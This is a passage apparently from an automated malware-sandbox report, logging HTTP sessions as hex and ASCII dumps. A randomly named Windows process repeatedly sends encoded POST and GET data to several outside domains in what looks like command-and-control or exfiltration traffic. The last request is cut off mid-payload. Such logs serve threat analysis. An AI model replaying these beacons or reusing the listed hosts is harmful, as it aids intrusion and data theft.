Oct 9, 2024 14:02:35.484019041 CEST	224	IN	Data Raw: 73 65 74 41 74 74 72 69 62 75 74 65 28 20 27 64 61 74 61 2d 6c 73 2d 6f 70 74 69 6d 69 7a 65 64 27 2c 20 27 31 27 20 29 0a 0a 09 09 09 09 09 09 09 09 09 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 2b 3d 20 63 75 72 72 65 6e 74 53 74 79 Data Ascii: setAttribute( 'data-ls-optimized', '1' )window.flatStyles += currentStylesheet.innerHTMLthis.optimizing = false}} else {window.flatStyles = currentStylesheet.innerHTML
Oct 9, 2024 14:02:35.484050035 CEST	1137	IN	Data Raw: 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 20 27 64 61 74 61 2d 6c 73 2d 6f 70 74 69 6d 69 7a 65 64 27 2c 20 27 31 27 20 29 0a 09 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 09 7d Data Ascii: currentStylesheet.setAttribute( 'data-ls-optimized', '1' )}}} catch ( error ) {console.warn( error )}if ( currentStylesheet.parentElement.tagName !== 'HEAD' ) {/* always make sure that those styl
Oct 9, 2024 14:02:35.498430014 CEST	1236	IN	Data Raw: 31 66 34 30 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 74 63 62 2d 73 74 79 6c 65 2d 62 61 73 65 2d 74 68 72 69 76 65 5f 74 65 6d 70 6c 61 74 65 2d 32 31 39 22 20 20 6f 6e 4c 6f 61 64 3d 22 74 79 70 65 Data Ascii: 1f40<style type="text/css" id="tcb-style-base-thrive_template-219" onLoad="typeof window.lightspeedOptimizeStylesheet === 'function' && window.lightspeedOptimizeStylesheet()" class="tcb-lightspeed-style">.thrv_widget_menu{position:relative;
Oct 9, 2024 14:02:35.498462915 CEST	1236	IN	Data Raw: 2d 69 74 65 6d 2d 64 72 6f 70 64 6f 77 6e 2d 74 72 69 67 67 65 72 3a 6e 6f 74 28 3a 65 6d 70 74 79 29 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 70 78 3b 7d 2e 74 76 65 2d 6d 2d 74 72 69 67 67 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 2d 77 Data Ascii: -item-dropdown-trigger:not(:empty){margin-left:8px;}.tve-m-trigger{display:none;-webkit-tap-highlight-color:transparent;}.tve-m-trigger:focus,.tve-m-trigger:active{outline:none;}.tve-m-trigger .thrv_icon{font-size:33px;width:33px;height:33px;m
Oct 9, 2024 14:02:35.498478889 CEST	1236	IN	Data Raw: 61 70 70 65 72 5b 63 6c 61 73 73 2a 3d 22 74 76 65 2d 63 75 73 74 6f 6d 2d 6d 65 6e 75 2d 73 77 69 74 63 68 2d 69 63 6f 6e 2d 22 5d 20 75 6c 2e 74 76 65 5f 77 5f 6d 65 6e 75 20 6c 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 69 6e 68 Data Ascii: apper[class="tve-custom-menu-switch-icon-"] ul.tve_w_menu li{background-color:inherit;}.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"] ul.tve_w_menu ul{display:none;position:relative;width:100%;left:0px;top:0px;}.thrv_wi
Oct 9, 2024 14:02:35.498645067 CEST	1236	IN	Data Raw: 32 35 35 29 3b 7d 2e 74 68 72 76 5f 77 69 64 67 65 74 5f 6d 65 6e 75 2e 74 68 72 76 5f 77 72 61 70 70 65 72 5b 63 6c 61 73 73 2a 3d 22 74 76 65 2d 63 75 73 74 6f 6d 2d 6d 65 6e 75 2d 73 77 69 74 63 68 2d 69 63 6f 6e 2d 22 5d 5b 63 6c 61 73 73 2a Data Ascii: 255);}.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"][class="light-tmp"] ul.tve_w_menu .sub-menu{box-shadow:none;}.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"][class="light-tmp"] ul.tve_w_menu li
Oct 9, 2024 14:02:35.498660088 CEST	896	IN	Data Raw: 61 70 70 65 72 5b 63 6c 61 73 73 2a 3d 22 74 76 65 2d 63 75 73 74 6f 6d 2d 6d 65 6e 75 2d 73 77 69 74 63 68 2d 69 63 6f 6e 2d 22 5d 2e 74 76 65 2d 6d 6f 62 69 6c 65 2d 64 72 6f 70 64 6f 77 6e 20 2e 74 76 65 2d 6d 2d 74 72 69 67 67 65 72 7b 70 6f Data Ascii: apper[class="tve-custom-menu-switch-icon-"].tve-mobile-dropdown .tve-m-trigger{position:relative;}.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"].tve-mobile-dropdown .tve-m-trigger .thrv_icon{display:block;transition:opa
Oct 9, 2024 14:02:35.498675108 CEST	1236	IN	Data Raw: 61 73 73 2a 3d 22 74 76 65 2d 63 75 73 74 6f 6d 2d 6d 65 6e 75 2d 73 77 69 74 63 68 2d 69 63 6f 6e 2d 22 5d 2e 74 76 65 2d 6d 6f 62 69 6c 65 2d 73 69 64 65 2d 6c 65 66 74 20 75 6c 2e 74 76 65 5f 77 5f 6d 65 6e 75 2c 2e 74 68 72 76 5f 77 69 64 67 Data Ascii: ass="tve-custom-menu-switch-icon-"].tve-mobile-side-left ul.tve_w_menu,.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"].tve-mobile-side-fullscreen ul.tve_w_menu{top:0px;display:block;height:100vh;padding:60px;position:fix
Oct 9, 2024 14:02:35.498689890 CEST	1236	IN	Data Raw: 64 65 2d 72 69 67 68 74 20 75 6c 2e 74 76 65 5f 77 5f 6d 65 6e 75 3a 3a 2d 77 65 62 6b 69 74 2d 73 63 72 6f 6c 6c 62 61 72 2d 74 68 75 6d 62 2c 2e 74 68 72 76 5f 77 69 64 67 65 74 5f 6d 65 6e 75 2e 74 68 72 76 5f 77 72 61 70 70 65 72 5b 63 6c 61 Data Ascii: de-right ul.tve_w_menu::-webkit-scrollbar-thumb,.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-icon-"].tve-mobile-side-left ul.tve_w_menu::-webkit-scrollbar-thumb,.thrv_widget_menu.thrv_wrapper[class="tve-custom-menu-switch-ico

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49988	44.213.25.70	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:02:36.824409008 CEST	517	OUT	GET /igaf/?wZBh=UzoT8ph&8T2hn=z7pb/AVrgdjheaZEOJkK38wzdFwtWkfwIJb37ItQC6dYo/jeths6OaqB6aU1oO66EyRWu95qtLC+XaCQo95JR9SCocHD8In7sYhzsBDy4zub0g2aDA== HTTP/1.1 Host: www.newdaydawning.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Oct 9, 2024 14:02:37.982923985 CEST	471	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 09 Oct 2024 12:02:37 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://newdaydawning.net/igaf/?wZBh=UzoT8ph&8T2hn=z7pb/AVrgdjheaZEOJkK38wzdFwtWkfwIJb37ItQC6dYo/jeths6OaqB6aU1oO66EyRWu95qtLC+XaCQo95JR9SCocHD8In7sYhzsBDy4zub0g2aDA== Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Oct 9, 2024 14:02:38.003098011 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49989	217.160.0.231	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:02:43.294836998 CEST	805	OUT	POST /fhdl/ HTTP/1.1 Host: www.coffee-and-blends.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.coffee-and-blends.info Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 194 Cache-Control: no-cache Referer: http://www.coffee-and-blends.info/fhdl/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Data Raw: 38 54 32 68 6e 3d 47 62 79 43 5a 51 31 77 66 78 70 70 6e 4c 37 4e 38 37 4a 32 67 38 6f 5a 4b 2b 57 79 70 44 53 64 51 56 65 30 39 58 57 4b 36 6f 53 41 4f 56 6a 73 47 63 56 50 70 4c 78 32 45 35 52 43 34 43 2f 4a 62 73 4a 36 58 74 69 64 31 6a 4a 68 4a 4e 57 46 67 7a 6b 4b 6f 41 5a 72 66 77 69 75 4b 4f 36 53 66 36 56 50 41 66 64 59 41 50 59 30 75 4a 48 79 4f 65 57 4a 6d 57 51 6a 43 36 51 43 71 75 7a 37 43 78 73 48 78 39 5a 43 31 47 54 42 45 4e 54 71 47 45 71 5a 76 55 2f 37 35 36 4d 54 37 32 4a 41 46 45 2b 48 78 48 57 5a 6d 35 45 4a 4c 30 51 2f 65 32 35 46 4b 34 6c 66 61 31 64 66 Data Ascii: 8T2hn=GbyCZQ1wfxppnL7N87J2g8oZK+WypDSdQVe09XWK6oSAOVjsGcVPpLx2E5RC4C/JbsJ6Xtid1jJhJNWFgzkKoAZrfwiuKO6Sf6VPAfdYAPY0uJHyOeWJmWQjC6QCquz7CxsHx9ZC1GTBENTqGEqZvU/756MT72JAFE+HxHWZm5EJL0Q/e25FK4lfa1df
Oct 9, 2024 14:02:44.031128883 CEST	779	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Wed, 09 Oct 2024 12:02:43 GMT Server: Apache X-Frame-Options: deny Content-Encoding: gzip Data Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 [TRUNCATED] Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49990	217.160.0.231	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:02:45.892370939 CEST	829	OUT	POST /fhdl/ HTTP/1.1 Host: www.coffee-and-blends.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.coffee-and-blends.info Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 218 Cache-Control: no-cache Referer: http://www.coffee-and-blends.info/fhdl/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Data Raw: 38 54 32 68 6e 3d 47 62 79 43 5a 51 31 77 66 78 70 70 6d 72 72 4e 2f 59 68 32 6d 63 70 72 47 65 57 79 67 6a 53 5a 51 55 69 30 39 57 44 52 37 61 32 41 4f 33 72 73 46 64 56 50 73 4c 78 32 51 70 51 4b 67 69 2f 38 62 73 45 50 58 73 4f 64 31 6a 4e 68 4a 49 71 46 68 43 6b 46 75 41 5a 6c 54 51 69 57 56 65 36 53 66 36 56 50 41 66 34 39 41 4a 77 30 75 36 50 79 50 2f 57 49 39 32 51 6b 56 4b 51 43 39 2b 7a 2f 43 78 73 6c 78 38 46 38 31 45 37 42 45 4d 6a 71 47 51 32 65 6b 55 2f 35 31 71 4e 38 31 6c 77 65 63 47 65 35 2f 47 6d 36 6d 37 45 31 42 31 77 68 50 45 77 65 66 76 6c 34 64 53 55 33 53 58 53 32 72 7a 6d 37 79 4d 34 49 50 76 32 72 6c 4c 51 7a 65 51 3d 3d Data Ascii: 8T2hn=GbyCZQ1wfxppmrrN/Yh2mcprGeWygjSZQUi09WDR7a2AO3rsFdVPsLx2QpQKgi/8bsEPXsOd1jNhJIqFhCkFuAZlTQiWVe6Sf6VPAf49AJw0u6PyP/WI92QkVKQC9+z/Cxslx8F81E7BEMjqGQ2ekU/51qN81lwecGe5/Gm6m7E1B1whPEwefvl4dSU3SXS2rzm7yM4IPv2rlLQzeQ==
Oct 9, 2024 14:02:46.528211117 CEST	779	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Wed, 09 Oct 2024 12:02:46 GMT Server: Apache X-Frame-Options: deny Content-Encoding: gzip Data Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 [TRUNCATED] Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49991	217.160.0.231	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:02:48.490209103 CEST	1842	OUT	POST /fhdl/ HTTP/1.1 Host: www.coffee-and-blends.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.coffee-and-blends.info Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 1230 Cache-Control: no-cache Referer: http://www.coffee-and-blends.info/fhdl/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Data Raw: 38 54 32 68 6e 3d 47 62 79 43 5a 51 31 77 66 78 70 70 6d 72 72 4e 2f 59 68 32 6d 63 70 72 47 65 57 79 67 6a 53 5a 51 55 69 30 39 57 44 52 37 61 2b 41 4f 43 2f 73 46 2b 74 50 72 4c 78 32 54 70 51 4c 67 69 2f 68 62 73 63 4c 58 73 54 67 31 67 6c 68 4b 71 79 46 6d 77 41 46 39 67 5a 6c 64 41 69 74 4b 4f 37 50 66 36 46 4c 41 66 6f 39 41 4a 77 30 75 37 2f 79 50 75 57 49 36 47 51 6a 43 36 51 34 71 75 7a 58 43 78 30 55 78 38 77 4a 31 31 62 42 46 73 7a 71 45 6a 65 65 74 55 2f 6e 32 71 4e 6b 31 6b 4d 2f 63 47 43 66 2f 47 43 41 6d 35 55 31 4e 44 35 36 66 6c 51 63 49 4d 4a 78 51 42 49 58 59 78 4b 4a 70 43 47 38 76 76 59 58 63 64 44 31 6f 34 56 48 4d 68 33 56 6a 52 79 6c 71 57 35 51 71 47 32 48 45 77 56 79 6c 30 58 4c 36 6a 46 6f 51 6d 55 67 36 32 6a 76 61 38 35 6d 32 49 72 6e 51 62 6a 59 2f 4e 7a 59 72 30 34 78 49 6a 37 33 62 79 50 4f 75 63 75 46 76 72 67 6d 6f 48 79 4e 59 31 55 43 35 70 72 66 58 74 68 56 73 56 4f 30 70 76 69 4e 41 4c 31 59 58 54 7a 51 68 59 57 69 58 50 6a 4c 56 58 36 6e 39 4d 41 41 68 53 2f 65 [TRUNCATED] Data Ascii: 8T2hn=GbyCZQ1wfxppmrrN/Yh2mcprGeWygjSZQUi09WDR7a+AOC/sF+tPrLx2TpQLgi/hbscLXsTg1glhKqyFmwAF9gZldAitKO7Pf6FLAfo9AJw0u7/yPuWI6GQjC6Q4quzXCx0Ux8wJ11bBFszqEjeetU/n2qNk1kM/cGCf/GCAm5U1ND56flQcIMJxQBIXYxKJpCG8vvYXcdD1o4VHMh3VjRylqW5QqG2HEwVyl0XL6jFoQmUg62jva85m2IrnQbjY/NzYr04xIj73byPOucuFvrgmoHyNY1UC5prfXthVsVO0pviNAL1YXTzQhYWiXPjLVX6n9MAAhS/e5h77W7eqltpBNO4HVtfPLyEz2Z9bgmTA08k6HTPHQASKFJ02WhY0rgSYkNVEW0hJBlsLsPvnwE6hCj2h8PAIfifllcPUYW3kXcxuPapVUYqbqRV0n0yLDac9AghVHmCZSNdoGrrGdDDmVwUjhwsFQmrC+ztfMehDW60Xfc4LqdSc2d6MMRaM6tnU1dQdXB7wJj3um6ml6GaYM6G5sUZEgmdvaR29JiWalzMXlrGixcERpKL6lbzhCcayLtwm080M77yQLDO02G64FAyqLUqTucSsjT9+9jgXCLpKgyj6qB0MdM94y6/UnkbIC1KrPnTTh8czxBo4lIjIyYjC20fte22uQXnR8kDsEhZur9jUKTajggzj7FaY3mZk2Ll1gMxOgoFBqVx4ljl525ZbVtVxKA/Mn4PKGESh0ikwFWl5tBs2k9+0JIAz7mwJd46+PDvYpbqnAKHdHdEZrMzOzXpJOpWKJgwxmqnvKuFGaL4wlb1eOpSnuts/kcBCRpCL7fmXIdZHW+msQnunpJ6wLmTDXxL9wVMYKnsL6RhmuKjxELWW6kzJiL65Xk1B2FJ6byJkGsluQRIhqNfjfg7ju6kbEGO3umpXHYjP4wrtdbzStWRgFLUpSTLIGZmdjK33M5H30eIiqxEY7sD25jo0+9pg6Rq9FDYIRgtmWR [TRUNCATED]
Oct 9, 2024 14:02:49.191828012 CEST	779	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Wed, 09 Oct 2024 12:02:49 GMT Server: Apache X-Frame-Options: deny Content-Encoding: gzip Data Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 [TRUNCATED] Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49992	217.160.0.231	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:02:51.068710089 CEST	522	OUT	GET /fhdl/?8T2hn=LZaialQPeltHsffZ/7p0gpt1IPXssyuTEG6qh16Ey8GBHHnvE/VN849lTokelyHAfcJ0dO++uyhAerPT/GlJwSRZaBuTZ4zvU4RSMcEjcessmo3sdA==&wZBh=UzoT8ph HTTP/1.1 Host: www.coffee-and-blends.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Oct 9, 2024 14:02:51.703099012 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 1271 Connection: close Date: Wed, 09 Oct 2024 12:02:51 GMT Server: Apache X-Frame-Options: deny Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <style type="text/css"> html, body, #partner, iframe { height:100%; width:100%; margin:0; padding:0; border:0; outline:0; font-size:100%; vertical-align:baseline; background:transparent; } body { overflow:hidden; } </style> <meta content="NOW" name="expires"> <meta content="index, follow, all" name="GOOGLEBOT"> <meta content="index, follow, all" name="robots"> ... Following Meta-Tag fixes scaling-issues on mobile devices --> <meta content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" name="viewport"> </head> <body> <div id="partner"> </div> <script type="text/javascript"> document.write( '<script type="text/javascript" language="JavaScript"' + [TRUNCATED]
Oct 9, 2024 14:02:51.703176975 CEST	203	IN	Data Raw: 20 20 20 20 20 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 20 2b 20 27 2f 27 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 27 49 4f 4e 4f 53 50 61 72 6b 69 6e 67 44 45 27 0a Data Ascii: + window.location.host + '/' + 'IONOSParkingDE' + '/park.js">' + '<\/script>' ); </script> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49993	199.192.21.169	80	6280	C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:02:56.771025896 CEST	766	OUT	POST /30rz/ HTTP/1.1 Host: www.tophm.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.tophm.xyz Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 194 Cache-Control: no-cache Referer: http://www.tophm.xyz/30rz/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Data Raw: 38 54 32 68 6e 3d 39 66 54 47 37 54 37 44 35 73 41 47 31 6f 55 46 68 72 47 4a 38 39 56 53 2b 55 61 49 6d 7a 66 50 39 66 39 35 43 51 4c 54 6f 36 62 4b 53 45 32 78 77 77 6a 43 42 43 57 43 79 6c 43 73 73 59 5a 78 4e 36 4e 4c 45 58 57 4f 6f 47 41 66 6f 